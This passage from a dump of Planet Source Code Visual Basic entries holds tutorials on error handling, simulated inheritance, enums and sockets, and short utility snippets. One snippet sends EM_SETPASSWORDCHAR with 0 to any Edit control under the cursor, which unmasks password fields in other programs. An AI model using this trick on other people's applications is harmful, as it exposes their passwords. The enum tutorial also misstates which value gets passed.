the following examples:\n<UL><PRE>\n'\"Resume\" approach\nSub Demo1\n On Error Resume Next\n X = 1 / 0 'Division by zero\n MsgBox Err.Description\n On Error GoTo 0\nEnd Sub\n</PRE></UL>\n<UL><PRE>\n'\"Go-To\" approach\n'This is not currently applicable to VBScript\nSub Demo2\n On Error GoTo Oopsie\n X = 1 / 0 'Division by zero\n Exit Sub\nOopsie:\n MsgBox Err.Description\nEnd Sub\n</PRE></UL>\nThe key difference between these two approaches to error handling is that <TT>On Error Resume Next</TT> tells VB you want your code to keep executing as if nothing had happened, whereas <TT>On Error GoTo Some_Label</TT> tells VB you want execution to jump to some specific location in your routine at any time a run-time error occurs.\nNotice the use of <TT>On Error GoTo 0</TT> in <TT>Demo1</TT> above? Although it looks like a contorted version of <TT>On Error GoTo Label</TT>, it's actually a special way to tell VB that you want to stop trapping errors and let VB perform its own built-in handling.\nRecovering gracefully from a run-time error, once you've trapped it, really requires you to make use of the Err object. Err is an object VB uses to give your program access to information about the error. Here are the most important public members Err exposes:\n\n<CENTER><TABLE WIDTH=\"90%\" CELLSPACING=\"0\" CELLPADDING=\"2\" BORDER=\"2\">\n<TR><TD><TT> Err.Number </TT></TD><TD>\nLong integer indicating the error code number. This is pretty much useless except where the vendor of the product that generated this error was too lazy to provide a useful description.\n</TD></TR>\n<TR><TD><TT> Err.Source </TT></TD><TD>\nGenerally used to tell your handler what component or code element is responsible for generating the error. With custom errors, you might want to set this to <TT>\"ModuleName.MethodName()\"</TT>.\n</TD></TR>\n<TR><TD><TT> Err.Description </TT></TD><TD>\nThe all-important, human-readable description. The point of this is so you're not left scratching your head wondering \"what the heck does '-10021627' mean?\"\n</TD></TR>\n<TR><TD><TT> Err.Clear() </TT></TD><TD>\nAllows you to sweep the error under the rug, so to speak.\n</TD></TR>\n<TR><TD><TT> Err.Raise(Number, [Source], [Description], [HelpFile], [HelpContext]) </TT></TD><TD>\nAllows you to \"raise\", or invoke, your own run-time error. Number can be <TT>vbObjectError + CustomErrorCode</TT> if you're not raising one of the standard ones. Be sure to provide a source and description.\n</TD></TR>\n</TABLE></CENTER>\n\nThe <TT>.HelpFile</TT> and <TT>.HelpContext</TT> properties, not listed above, can be used by your program to refer users to a relevant passage in some help file. Few programs bother.\nThe nice thing about go-to error trapping is that it allows you to easily enwrap a large chunk of code with your error handler with one single line of code (<TT>On Error GoTo Label</TT>). The resume approach really requires you to either include error handling code after every line or to take a blind leap of faith that a given line will either never encounter an error or that it won't matter. As a general rule, use On Error Resume Next only for short blocks of code.\nOne of the interesting nuances of the VB run-time error mechanism is that it propagates errors \"backwards\". To illustrate what this means, consider the following code:\n\n<UL><PRE>\nSub A\n On Error Resume Next\n Call B\n MsgBox Err.Description\nEnd Sub\n</PRE></UL>\n<UL><PRE>\nSub B\n Call C\nEnd Sub\n</PRE></UL>\n<UL><PRE>\nSub C\n X = 1 / 0 'Division by zero\nEnd Sub\n</PRE></UL>\n\n<TT>A</TT> calls <TT>B</TT>, which in turn calls <TT>C</TT>. Since <TT>C</TT> will cause a division-by-zero run-time error and itself has no error handler, VB will effectively leave <TT>C</TT> and go back to <TT>B</TT>. But <TT>B</TT> doesn't have an error handler, either, so VB leaves <TT>B</TT> to go back to <TT>A</TT>. Fortunately, <TT>A</TT> does have an error handler. If it didn't, <TT>A</TT> would also immediately exit and control would go back to whatever called it. If there's nothing left up this \"calling stack\", your program will courteously commit suicide.\nYou can use this \"backward propagation\" property of VB's error mechanism to your advantage in many ways. First, you can enwrap a block of code by putting it in its own subroutine and putting your error handler in the code that calls that subroutine. In this case, any run-time error in that subroutine will propagate back to your calling code. Second, you can add value to an error message by adding more context information. You might use code like the following, for instance:\n\n<UL><PRE>\nSub A\n On Error GoTo AwShoot\n Call B\n Exit Sub\nAwShoot:\n Err.Raise vbObjectError, \"MyModule.A(): \" & Err.Source, _\n \"Unexpected failure in A: \" & Err.Description\nEnd Sub\n</PRE></UL>\n<UL><PRE>\nSub B\n On Error GoTo AwShoot\n Err.Raise vbObjectError, \"My left nostril\", \"Stabbing pain\"\n Exit Sub\nAwShoot:\n Err.Raise vbObjectError, \"MyModule.B(): \" & Err.Source, _\n \"Couldn't complete B: \" & Err.Description\nEnd Sub\n</PRE></UL>\n\nCalling <TT>A</TT> will result in an error whose source is <TT>\"MyModule.A(): MyModule.B(): My left nostril\"</TT> and whose description is <TT>\"Unexpected failure in A: Couldn't complete B: Stabbing pain\"</TT>. Having the extra \"source\" information probably won't help your end-users. But then, your end users probably won't care about the source of the problem, any way. But as the person who gets to fix it, this will be invaluable to you. The extra description information might actually help your end users, but it too will be invaluable to you. Note, incidentally, that calling <TT>Err.Raise()</TT> in your error handler will not cause the error to be thrown back to itself, again. With the go-to method of error handling, as soon as the error is raised and before control is passed to your error handler (right after the <TT>AwShoot:</TT> line label), the error handler for your routine is automatically switched off. If you want to trap errors in your error handler code, you'll have to reset the error handler with another <TT>On Error Resume Next</TT> or <TT>On Error GoTo Some_Other_Label</TT> line in your handler.\nFor those times you use the resume approach, be aware that calling <TT>On Error GoTo 0</TT> not only disables error handling in the current routine, it also clears the current error properties, including the description. If you want to add your own custom error message before propagating the error back up the call stack in a fashion like that above, you'll need to grab the properties from Err, first. Here's a simple way to do it:\n\n<UL><PRE>\nSub Doodad\n On Error Resume Next\n X = 1 / 0\n If Err.Number <> 0 Then\n 'Dump Err properties into an array\n EP = Array(Err.Number, Err.Source, _\n Err.Description, Err.HelpFile, Err.HelpContext)\n 'Re-enable VB's own error handler\n On Error GoTo 0\n 'Propagate error back up the call stack with my two cents added\n Err.Raise EP(0), \"MyModule.Doodad(): \", EP(1), _\n \"Something bad happened: \" & EP(2), EP(3), EP(4)\n End If\n On Error GoTo 0\n Exit Sub\nEnd Sub\n</PRE></UL>\n\nFinally, let me strongly urge you to have your programs raise errors as a natural matter of course. Functions often return special values like 0, \"\", Null and so on to indicate that an error has occurred. Instead of doing this and requiring your users (other programmers) to figure out your special error representations and to make non-standard error handlers for them, try calling <TT>Err.Raise()</TT>. If your users don't realize that an invocation of your code may cause an error, the first case may leave them with a difficult mystery to solve, whereas the second case will leave little doubt about the real cause. Plus, they'll be able to make their code more readable and consistent with best-practice standards.\nIn summary, VB's run-time error trapping and handling mechanism allows your code to take control of how errors are managed. This can be used to allow your programs to more gracefully end, to let your programs continue running despite certain kinds of problems, to give developers better clues about the causes of bugs in their code, and more. There are two basic approaches: \"resume\" and \"go-to\". VB's built-in Err object holds the information you need to find out where the error occurred and what its nature is and allows you to clear or raise errors of your own."},{"WorldId":1,"id":9050,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9051,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9055,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9057,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9060,"LineNumber":1,"line":"'Place at Form TextBox. \n'General Declarations\nDim pswd As String \n'\nPrivate Sub Text1_KeyPress(KeyAscii As Integer) \n pswd = pswd + Chr(KeyAscii) \n KeyAscii = Asc(\"*\") \nEnd Sub \n'You can replace string KeyAscii = Asc(\"*\") to\n'KeyAscii = 0 and TextBox is no symbols \"*\"\n"},{"WorldId":1,"id":9067,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9068,"LineNumber":1,"line":"Most programmers who have any understanding of what object-oriented programming (OOP) is about have heard terms like \"inheritance\" and \"subclassing\". The goal is to create a new class starting not from scratch, but using an existing class as the foundation. While many other languages like C++ and Java offer inheritance models, Visual Basic 6 and earlier versions don't in any decent sense. The closest it comes to it is the use of the messy \"Implements\" directive.\nWhat most programmers familiar with OOP donΓÇÖt know is that there are two basic relationships with which to implement inheritance: \"is a\" and \"has a\". Let's say for example we have the following three classes: Animal, Dog, and Beagle. We want Dog to inherit public members from Animal and Beagle to inherit them from Dog. Speaking \"purely\" of OOP, we would say that we would say that a Beagle is a Dog. The alternative would be to say that a Beagle has a Dog. In English, this sounds like nonsense, but bear with me. If you want to gain the functionality of one class, it suffices to simply instantiate it, which is another way of saying the first class would have an instance of the other. Consider the following illustration:\n<CENTER>\n<TABLE BGCOLOR=\"#FFFFCC\" CELLSPACING=\"0\" CELLPADDING=\"4\" BORDER=\"1\"><TR><TD>\n<CENTER>Beagle</CENTER>\n<CENTER>\n<TABLE><TR><TD VALIGN=\"TOP\"><LI>BaseClass As </TD><TD>\n<TABLE BGCOLOR=\"#EEEEBB\" CELLSPACING=\"0\" CELLPADDING=\"4\" BORDER=\"1\"><TR><TD>\n<CENTER>Dog</CENTER>\n<CENTER>\n<TABLE><TR><TD VALIGN=\"TOP\"><LI>BaseClass As </TD><TD>\n<TABLE BGCOLOR=\"#DDDDAA\" CELLSPACING=\"0\" CELLPADDING=\"4\" BORDER=\"1\"><TR><TD>\n<CENTER>Animal</CENTER>\n\n<LI>Species As String\n\n</TD></TR></TABLE>\n</TD></TR></TABLE>\n</CENTER>\n<LI>HasFleas As Boolean\n</TD></TR></TABLE>\n</TD></TR></TABLE>\n</CENTER>\n<LI>HasLongEars As Boolean\n<LI>HasFleas As Boolean\n</TD></TR></TABLE>\n</CENTER>\nNote the \"overloaded\" <TT>.HasFleas</TT> property in both Dog and Beagle. Here are the equivalent VB class modules:\n<CENTER>\n<TABLE BGCOLOR=\"#FFFFCC\" WIDTH=\"90%\" CELLSPACING=\"0\" CELLPADDING=\"4\" BORDER=\"1\"><TR><TH BGCOLOR=\"#DDDDAA\"> Class: Animal </TH></TR><TR><TD><PRE>\nPrivate propSpecies As String\n \n Public Property Get Species() As String\n Species = propSpecies\nEnd Property\nPublic Property Let Species(newSpecies As String)\n propSpecies = newSpecies\nEnd Property\n</PRE></TD></TR></TABLE>\n<TABLE BGCOLOR=\"#FFFFCC\" WIDTH=\"90%\" CELLSPACING=\"0\" CELLPADDING=\"4\" BORDER=\"1\"><TR><TH BGCOLOR=\"#DDDDAA\"> Class: Dog </TH></TR><TR><TD><PRE>\nPrivate BaseClass As Animal\nPrivate propHasFleas As Boolean\n \n Public Property Get B() As Animal\n Set B = BaseClass\nEnd Property\n \n Public Property Get HasFleas() As Boolean\n HasFleas = propHasFleas\nEnd Property\nPublic Property Let HasFleas(newHasFleas As Boolean)\n propHasFleas = newHasFleas\nEnd Property\n \n Private Sub Class_Initialize()\n Set BaseClass = New Animal\n BaseClass.Species = \"Canus\"\nEnd Sub\n</PRE></TD></TR></TABLE>\n<TABLE BGCOLOR=\"#FFFFCC\" WIDTH=\"90%\" CELLSPACING=\"0\" CELLPADDING=\"4\" BORDER=\"1\"><TR><TH BGCOLOR=\"#DDDDAA\"> Class: Beagle </TH></TR><TR><TD><PRE>\nPrivate BaseClass As Dog\nPrivate propHasFleas As Boolean\nPrivate propHasLongEars As Boolean\n \n Public Property Get B() As Dog\n Set B = BaseClass\nEnd Property\n \n Public Property Get HasFleas() As Boolean\n HasFleas = True\nEnd Property\n \n Public Property Get HasLongEars() As Boolean\n HasLongEars = True\nEnd Property\n \n Private Sub Class_Initialize()\n Set BaseClass = New Dog\nEnd Sub\n</PRE></TD></TR></TABLE>\n</CENTER>\nSo when we create a Beagle object, it's creating a Dog object internally, which in tun is creating an Animal object inside itself. So if Beagle \"inherits\" functionality from Dog and Dog likewise from Animal, how to we use this inherited functionality in our code? One answer which is elegant from the Beagle class's user's (programmer's) point of view would be to reproduce properties, methods, and events with the same names as all of what's being \"inherited\". So Beagle, for example, would have a <TT>.Species</TT> property to mirror the one in Animal which would simply delegate the work of storage and/or processing to the Animal class. But then, the chore of creating these mirror members can really suck if you're making a class that adds only two new members to a class that already has two dozen you want to inherit.\nA simpler way, which is admittedly a little messier for the end programmer, is to give him a handle to the \"base class\" object so he can directly access its members. We've done this by adding a <TT>.B</TT> -- short for \"Base Class\" -- property. So to find out what species our beagle is we might say <TT>TheSpecies = MyBeagle.B.B.Species</TT>. Granted, this isn't as elegant as <TT>TheSpecies = MyBeagle.Species</TT>, but this construct is invalid in our case. Suffice it to say that using the slighly ugly <TT>.B</TT> property to get to an object's \"base class\" works and doesn't take much effort on your part to implement. It's also worth pointing out that you can do multiple inheritance this way, too, so long as you come up with a different property name for each of the base classes. You might use <TT>.B1</TT> and <TT>.B2</TT> or perhaps opt to go with more explicitly named properties like <TT>.BcDog</TT> and <TT>.BcAnimal</TT>.\nThe key to making this work for the user, who most likely won't care how your class is implemented, is to instruct him to look for a given property or method in your object, first, and then to look for a property or method in the object <TT>.B</TT> refers to if he can't find it in your class directly. This is especially important if you overload a given function, as in our case where <TT>.HasFleas</TT> is implemented in the Dog class but also in the Beagle class. The user of the Beagle class can refer, then, to <TT>.HasFleas</TT> to get your overriding property or to the <TT>.B.HasFleas</TT> property to refer to the overridden version of the property.\nWhile this mildly messy of approach may not be an elegant one if you're distributing polished products to clients or trying to set industry standards, it's an excellent way to help organize and maintain the inner workings of your more complicated VB projects.\nIn summary, although VB doesn't have a clean implementation of the traditional OOP inheritance (\"is a\") concept, you can simulate it using a \"has a\" relationship. The syntax for using the \"inherited\" members may seem a bit awkward, but the benefit is a simpler implementation for you and a greater ease of maintaining your code, both encouraging you to better modularize your code toward the ends modularization has long promised."},{"WorldId":1,"id":9071,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9074,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9077,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9088,"LineNumber":1,"line":"Dim lSecs As Long\nDim sMin As String\n \nlSecs = 120\nsMin = Format(Fix(lSecs / 60), \"#0\") & _\n \":\" & Format(lSecs Mod 60, \"00\")\nMsgBox sMin"},{"WorldId":1,"id":9090,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9091,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9098,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9100,"LineNumber":1,"line":"no code"},{"WorldId":1,"id":9107,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9109,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9110,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9111,"LineNumber":1,"line":"IF TableExists(strTableName) then MsgBox strTableName & \" found.\" else MsgBox strTableName & \" not found.\"\nPrivate Function TableExists(TableName) As Boolean\n'I ususally use a global Database object, however' you can just as easily pass it into the function if you'd prefer\nDim strTableName$ 'string\nOn Error GoTo NotFound\nIf TableName <> \"\" Then strTableName = dbMyDatabase.TableDefs(strTableName).Name\n'If the table exists, the string will be filled, 'otherwise it will err out and TableExists will remain false.\nTableExists = True\nNotFound:\nEnd Function\n'I have VERY often seen people use the standard routine of\n'going through EACH and EVERY table comparing each one till\n'they get the the end, as in\n \n 'For Each MyTable in DB.TableDefs\n ' if MyTable.Name = strNameImLookingFor then\n 'TableExists = true\n 'Exit For\n 'end if\n 'Next\n'This is NOT the way to do this. You will unecesesarily use up\n'yours as well as your users' very valuable time.\n'Use this function. Make it private. When you pass the name\n'of the table you need to check for into this routine, the\n'recordset will either retrieve it, with a quickness, or it\n'will error out, which is even quicker. If you have this in\n'a private function, the erroring out will equate to it\n'returning a negative response for the table search.\n'I might add that this technique works superbly with field searches\n'as well (such as Serial No, credit cards, socials, phone numbers, etc).\n'And, there you have it.\n"},{"WorldId":1,"id":9112,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9119,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9129,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9135,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9138,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9146,"LineNumber":1,"line":"the Tutorial is in a zip file\n \nif you like my Tutorial and if you think i \ndeserve some credit, vote for me.\n"},{"WorldId":1,"id":9149,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9153,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9157,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9158,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9160,"LineNumber":1,"line":"<!doctype html public \"-//w3c//dtd html 4.0 transitional//en\">\n<html>\n<head>\n <meta name=\"Author\" content=\"M@\">\n <meta name=\"GENERATOR\" content=\"Mozilla/4.75 [en] (Win98; U) [Netscape]\">\n</head>\n<body>\n<center>Creating Custom Option\nChoices for Function Parameters\nNote: A Microsoft Word\nversion of this article is available in .zip format below with full graphics\nincluded. I recommend downloading it.</center>\nOne of the things that I\nlove about Visual Basic 6 is the way it always tells you what it is expecting.\nWhere in most other languages, you are left guessing at the parameters\na function is expecting and what data type they should be, VB. shows you\nthe choices right where they are needed. For example, If I am calling the\nfunction MsgBox to display a message box to the user, it looks like this\nas I enter the code:\nThe usefulness of this feature\nof the Visual Basic environment cannot be overstated. I often wished I\ncould create such option lists for my own functions. Instead of writing\na function like this:\nFunction\nSelectCustomerCategory (CustomerType as Integer) As String\n \nSelect Case CustomerType\n \nCase 0\n \nSelectCustomerCategory = “Corporate”\n \nCase 1\n \nSelectCustomerCategory = “Company”\n \nCase 2\n \nSelectCustomerCategory = “State Government”\n \nCase 3\n \nSelectCustomerCategory = “City Government”\n \nCase 4\n \nSelectCustomerCategory = “Federal Government”\n \nEnd Select\nEnd\nFunction\nI wanted to write it like\nthis:\nFunction\nSelectCustomerCategory (CustomerType as Integer) As String\n \nSelect Case CustomerType\n \nCase Corporate\n \nSelectCustomerCategory = “Corporate”\n \nCase Company\n \nSelectCustomerCategory = “Company”\n \nCase StateGovernment\n \nSelectCustomerCategory = “State Government”\n \nCase CityGovernment\n \nSelectCustomerCategory = “City Government”\n \nCase FederalGovernment\n \nSelectCustomerCategory = “Federal Government”\n \nEnd Select\nEnd\nFunction\n \nBut in order to do this,\nI found myself creating lots of constants like:\nConst\nCorporate = 0\n Const\nCompany =1\n Const\nStateGovernment=2\n Const\nCityGovernment=3\n Const\nFederalGovernment =4\nAlthough this worked, once\nI had about 10 functions with five or six possible options, I started having\ntrouble remembering which constants were defined for which functions. They\nwould show up in the Options List if I pressed <ctrl>\n<space>, but since they were in alphabetical order, “Corporate\n“was miles away from the other constant “StateGovernment”.\nLooking back, this all seems\nso useless, but at the time, I was very pleased with myself. Then one day\nI was reading a Visual Basics Standards book and discovered the “enum”\ndata type. I have used User Defined Types (see my article on it by\nfollowing the hyperlink) in QuickBasic and Visual Basic, so this seemed\nvaguely familiar. After reading about enum, I was delighted. It was exactly\nwhat I was looking for. With it you can define a set of parameters as a\nsingle data type and then “alias” the values with more understandable names\n(Like “Corporate” instead of “0”). When you select the parameter “Corporate”\nfrom the drop-down list, the aliased value of “0” is passed to the function.\nSound cool? Read on and I will show you how do to it. It is actually very\neasy.\nFirst, you must define the\nenum variable that will hold the values. In the declarations section of\nyour form or module, add the following code:\n \nPublic Enum enCustomerType\n \nCorporate = 0\n \nCompany = 1\n \nStateGovernment = 2\n \nCityGovernment = 4\n \nFederalGovernment = 5\n \nEnd Enum\nThere are some “rules” I\nneed to point out about the above code.\n1. Of course, the name of\nyour variable must be unique for the scope you are working in.\n 2. The Enum data type\ncan only accept Numerical values. Strings are not allowed. Corporate\n= “Corp” will not compile.\n 3. The list can be as long\nas you like.\n 4. The values do not have\nto be consecutive. They can be any numerical value.\nNow for the function (This\nis the fun part):\nInstead of using:\n \nFunction SelectCustomerCategory (CustomerType as Integer) As String\nWe are now going to use:\n \nFunction SelectCustomerCategory (CustomerType as enCustomerType) \nAs String\nSo we are replacing the Integer\ndata type with the enum type we created.\nComplete your function:\n Function\nSelectCustomerCategory (CustomerType as enCustomerType) As String\n Select\nCase CustomerType\n Case\nCorporate\n \nSelectCustomerCategory = “Corporate”\n Case\nCompany\n \nSelectCustomerCategory = “Company”\n Case\nStateGovernment\n \nSelectCustomerCategory = “State Government”\n Case\nCityGovernment\n \nSelectCustomerCategory = “City Government”\n Case\nFederalGovernment\n \nSelectCustomerCategory = “Federal Government”\n End\nSelect\nEnd\nFunction\nThat is all there is to it!\nNow try this:\n \nEnter the following text\nin a form or module:\nSelectCustomerType\n(\nAnd watch what happens. You\nshould see a list of values appear like magic.\nYou can then select one of\nyou choices. When the function is called the value that you defined for\nthe enum item will be passed. For example, if you select Corporate, the\nnumber 1 will be passed to the function.\n \n \n \n \n<center>\nHave Fun!</center>\n \n \n \n \n \n \n</body>\n</html>\n"},{"WorldId":1,"id":9164,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9165,"LineNumber":1,"line":"Public Function Splitter(SplitString As String, SplitLetter As String) As Variant\n ReDim SplitArray(1 To 1) As Variant\n Dim TempLetter As String\n Dim TempSplit As String\n Dim i As Integer\n Dim x As Integer\n Dim StartPos As Integer\n \n SplitString = SplitString & SplitLetter\n For i = 1 To Len(SplitString)\n TempLetter = Mid(SplitString, i, Len(SplitLetter))\n If TempLetter = SplitLetter Then\n TempSplit = Mid(SplitString, (StartPos + 1), (i - StartPos) - 1)\n If TempSplit <> \"\" Then\n x = x + 1\n ReDim Preserve SplitArray(1 To x) As Variant\n SplitArray(x) = TempSplit\n End If\n StartPos = i\n End If\n Next i\n Splitter = SplitArray\nEnd Function\n"},{"WorldId":1,"id":9166,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9169,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9172,"LineNumber":1,"line":"Private Type POINTAPI\n X As Long\n Y As Long\nEnd Type\nPrivate Declare Function GetClassNames Lib \"user32\" Alias \"GetClassNameA\" (ByVal hwnd As Long, ByVal LpClassName As String, ByVal nMaxCount As Long) As Long\nPrivate Declare Function UpdateWindow Lib \"user32\" (ByVal hwnd As Long) As Long\nPrivate Declare Function SetFocusAp Lib \"user32\" Alias \"SetFocus\" (ByVal hwnd As Long) As Long\nPrivate Declare Function SetForegroundWindow Lib \"user32\" (ByVal hwnd As Long) As Long\nPrivate Declare Function GetCursorPos Lib \"user32\" (lpPoint As POINTAPI) As Long\nPrivate Declare Function WindowFromPoint Lib \"user32\" (ByVal X As Long, ByVal Y As Long) As Long\nPrivate Declare Function GetParent Lib \"user32\" (ByVal hwnd As Long) As Long\nPrivate Declare Function SendMessage Lib \"user32\" Alias \"SendMessageA\" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long\nPrivate Exper As Boolean\nPrivate Sub Command1_Click()\nDim Point As POINTAPI, Cname As String, Resxxx As Long, LSta As Long\nDim Counter As Long, xxx As Long, Par As Long\nConst Clase_Name As String = \"ThunderTextBox\"\nConst Clase_Name2 As String = \"Edit\"\nExper = False\nDo Until Exper = True\n Resxxx = GetCursorPos(Point)\n Resxxx = WindowFromPoint(Point.X, Point.Y)\n If Resxxx <> 0 Then\n Cname = String$(255, 0)\n xxx = GetClassNames(Resxxx, Cname, 254)\n If InStr(1, Cname, Clase_Name2, vbTextCompare) <> 0 Then\n Par = GetParent(Resxxx)\n xxx = SendMessage(Resxxx, &HCC, 0, 0)\n xxx = SetForegroundWindow(Par)\n xxx = UpdateWindow(Par)\n xxx = UpdateWindow(Resxxx)\n xxx = UpdateWindow(Resxxx)\n xxx = SetFocusAp(Resxxx)\n SetFocusAp xxx\n SetFocusAp Resxxx\n Exper = True\n End If\n End If\n DoEvents\nLoop\nEnd Sub\n"},{"WorldId":1,"id":9173,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9184,"LineNumber":1,"line":"Public Sub CheckIfConnected()\n Winsock1.Close\n Winsock1.Connect \"www.yahoo.com\", 80\n \n While Winsock1.state <> sckConnected\n If Winsock1.state = sckError Then GoTo Offline\n DoEvents\n Wend\n \n MsgBox \"Online\"\n Winsock1.Close\n Exit Sub\nOffline:\n MsgBox \"Offline\"\nEnd Sub\n"},{"WorldId":1,"id":9185,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9197,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9199,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9209,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9210,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9215,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9217,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9218,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9222,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9223,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9225,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9227,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9228,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9237,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9238,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9239,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9243,"LineNumber":1,"line":"Private Sub Command1_Click()\n Dim Buffer As String\n Dim Location As Single\n Dim Lenght As Single\n Dim ErrCount As Single\n \n \n Open \"a:\\DamadgedFile.dat\" For Binary As #1 'the file that is damadged\n Open \"c:\\temp\\DamadgedFile.dat\" For Binary As #2 'copy of damadged file (in my case in folder C:\\temp)\n \n Lenght = LOF(1)\n \n On Error Resume Next\n Buffer = Space(1)\n \n For Location = 1 To Lenght\n Get #1, Location, Buffer\n If Err <> 0 Then\n ErrCount = ErrCount + 1\n Debug.Print \"ERROR no.: \" + Format$(ErrCount) + \". Cannot read data on location\" + Format$(Location)\n Buffer = \" \" 'change damadged data with space\n Err.Clear\n End If\n Put #2, Location, Buffer\n Next\n Close\n x = MsgBox(\"Done\")\n End\n \n 'Go to c:\\temp\\DamadgedFile.dat\" and try to open it...\n 'most Word, Excel, CDR, jpg, bmp, ..... and other file tipes will open with no\n 'significant errors in the content...\n '\n 'Well, hope this helps u restore your data...\n \nEnd Sub\n"},{"WorldId":1,"id":9244,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9245,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9250,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9253,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9256,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9260,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9261,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9271,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9272,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9278,"LineNumber":1,"line":" Table of Contents \n<LI><A HREF=\"#preface\">Preface</A>\n<LI><A HREF=\"#clientserver\">Client / Server Concepts</A>\n<LI><A HREF=\"#introduction\">Introduction to Internet Programming </A>\n<LI><A HREF=\"#package\">The Sockets Package</A>\n<LI><A HREF=\"#browser\">Build a Basic Web Browser</A>\n<LI><A HREF=\"#csapp\">Build a Complete Client / Server App</A>\n<LI><A HREF=\"#conclusion\">Conclusion</A>\n\n<A NAME=\"preface\">\n Preface \n In less than a decade, TCP/IP - the Internet - has emerged from the cacophony of networking protocols as the \nundisputed winner. So many information protocols, from HTTP (web) to IRC (chat), have been developed to offer all \nmanner of electronic content. With TCP/IP dominance secured, many companies with in-house IT staffs are moving \ntowards developing their own <A HREF=\"#clientserver\">client/server</A> applications using home-grown or off the \nshelf Internet protocols. This article can help you leap on board this roaring technology train.\nMost Internet programmers developing for windows use some form or another of the Winsock API. You may already be \naware of this API's infamy as a difficult one to master. As a VB programmer, you may also be aware of the fact that \nVB ships with a Winsock control that enwraps the deeply confusing Winsock API in a slightly less confusing package. \nBut it's still confusing to most new programmers. It's also known for being buggy. It also doesn't help that all \nthe functionality for developing clients and servers is lumped into one control, which leaves many programmers with \nlittle clue about how and when to use its features.\nI recently developed a suite of controls called \"Sockets\" to build on the virtues of the Winsock control while \nmasking most of its inadequacies. It's easier to use and offers sophisticated features like multi-connection \nmanagement and message broadcasting. This code samples in this article will be built around the Sockets package.\n<BLOCKQUOTE>\nNote: You can download the Sockets package from Planet Source Code. Search here for the posting's title: \"<A \nTARGET=\"_new\" \nHREF=\"http://www.planet-source-code.com/vb/scripts/BrowseCategoryOrSearchResults.asp?lngWId=1&txtCriteria=Simple,+cl\nean+client+server+socket+controls\">Simple, clean client/server socket controls</A>\". Be sure to include the \n\"Sockets\" component (\"Sockets.OCX\") in any projects you create to try out the code samples. You can register the \ncontrol so it appears in VB's component list from the Start | Run menu item using \"<TT>regsvr32 <path_to_ocx>\\sockets.ocx</TT>\".\n</BLOCKQUOTE>\nIf you're already familiar with client/server and sockets concepts, you can skip right to the <A \nHREF=\"#package\">Sockets Package</A> section for information specific to the controls used and how to use them.\n\n<A NAME=\"clientserver\">\n Client / Server Concepts\n Before we begin talking about Internet programming, let's give a brief introduction to the client/server \nconcept.\nThe \"client/server\" concept is a fundamentally simple one. Some automated entity - a program, component, \nmachine, or whatever - is available to process information on behalf of other remote entities. The former is called \na \"server\", the latter a \"client\". The most popular client/server application today is the World Wide Web. In this \ncase, the servers are all those web servers companies like Yahoo and Microsoft run to serve up web pages. The \nclients are the web browsers we use to get at their web sites.\nThere are a number of other terms commonly used in discussing the client/server concept. A \"connection\" \nis a completed \"pipeline\" through which information can flow between a single client and a single server. The \nclient is always the connection requestor and the server is always the one listening for and accepting (or \nrejecting) such requests. A \"session\" is a continuous stream of processing between a client and server. \nThat duration is not necessarily the same as the duration of one connection, nor does a session necessarily involve \nonly one simultaneous connection. \"Client interconnection\" is what a server does to facilitate information \nexchange among multiple clients. A chat program is a good example. Usually, nothing can be done with a given \nmessage until all of it is received. A \"message\", in this context, is any single piece of information that's \nsent one way or the other through a connection. Messages are typically single command requests or server responses. \nIn most cases, a message can't be used until all of it is received. A \"remote procedure\" is simply a \nprocedure that a client asks a server to execute on its behalf, which usually involves one command message going to \nthe server and one response message coming back from it. Using an FTP client to rename a file on a server is an \nexample. 